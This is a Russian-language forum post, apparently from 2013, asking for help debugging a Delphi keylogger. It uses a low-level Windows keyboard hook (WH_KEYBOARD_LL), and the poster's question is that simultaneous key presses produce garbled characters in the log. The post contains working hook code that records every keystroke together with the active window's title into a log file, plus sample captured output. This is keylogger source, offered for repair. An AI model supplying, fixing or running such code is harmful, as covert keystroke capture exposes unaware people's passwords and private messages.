Добрый вечер. Есть код key логгера. Все работает, но после одновременного нажатия двух и более клавиш (например переключения раскладки) в файл пишется не нажатая клавиша а набор закарлючек.
В качестве хука использую WH_KEYBOARD_LL, так как WH_KEYBOARD хоть и работает нормально, но только внутри родного приложения и проводника.
Вот пример лога:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:11:00###ACTIVATE===+++@@@
п`l`о`м`о`г`и#`т!`е!` !`р!`а!`з!`о%`р$`$`б$`р$`а$`т$`ь)`с(`я(` (`с(` (`к(`о/`с+`я+`к+`о,`м,`.,` 4`т2`l2`р2`е2`т2`и2`й7` 7`д7`е7`н7`ь7` 7`м:`у9`ч9`а9`ю9`с9`ь9`1!`А`
хотя сначала прога работает так:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
16-12-2013 20:09:20###ACTIVATE===Program Manager+++@@@
xcvbxcvbxcvb
Сам код:
Код:
try
Wnd:= GetForegroundWindow;
GetWindowText(WND, wtext, Length(wtext)-1);
if wtext<>PrevWindowName then WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@');
PrevWindowName:=wtext;
if (Code=HC_ACTION) and (wParam=WM_KEYUP) then
begin
LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
GetKeyboardState(KeyState);
New(KeyName);
ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
WriteLog(KeyName);
if LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle('');
end;
Result:= CallNextHookEx(MSGHook, Code, wParam, lParam);
except
end;
Админ: Пользуемся тегами для оформления кода!
Помогите разобраться с косяком. Третий день мучаюсь!